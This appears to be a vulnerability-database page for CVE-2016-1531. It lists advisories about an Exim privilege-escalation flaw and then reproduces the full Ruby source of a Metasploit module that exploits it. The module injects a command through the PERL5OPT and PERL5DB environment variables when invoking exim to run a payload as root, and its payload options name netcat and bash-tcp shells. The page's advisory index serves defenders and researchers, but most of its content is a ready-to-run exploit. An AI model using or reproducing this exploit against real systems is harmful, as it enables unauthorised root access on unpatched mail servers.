| Reporter | Title | Published | Views | Family All 56 |
|---|---|---|---|---|
| Exim 4.84-3 - Privilege Escalation | 9 Mar 201600:00 | – | zdt | |
| Exim < 4.86.2 - Privilege Escalation | 10 Mar 201600:00 | – | zdt | |
| Exim - 'perl_startup' Privilege Escalation (Metasploit) | 15 Apr 201600:00 | – | zdt | |
| exim -- local privillege escalation | 26 Feb 201600:00 | – | freebsd | |
| exim: privilege escalation | 10 Mar 201600:00 | – | archlinux | |
| CVE-2016-1531 | 9 Mar 201600:00 | – | circl | |
| Exim Configuration File Path Elevation of Privilege Vulnerability | 7 Mar 201600:00 | – | cnvd | |
| CVE-2016-1531 | 7 Apr 201623:00 | – | cve | |
| CVE-2016-1531 | 7 Apr 201623:00 | – | cvelist | |
| [SECURITY] [DSA 3517-1] exim4 security update | 14 Mar 201605:48 | – | debian |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim "perl_startup" Privilege Escalation',
'Description' => %q{
This module exploits a Perl injection vulnerability in Exim < 4.86.2
given the presence of the "perl_startup" configuration parameter.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
%w{CVE 2016-1531},
%w{EDB 39549},
%w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
],
'DisclosureDate' => 'Mar 10 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x27", # " and '
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
}
},
'Targets' => [
['Exim < 4.86.2', {}]
],
'DefaultTarget' => 0
))
end
def check
if exploit('whoami') == 'root'
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def exploit(c = payload.encoded)
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation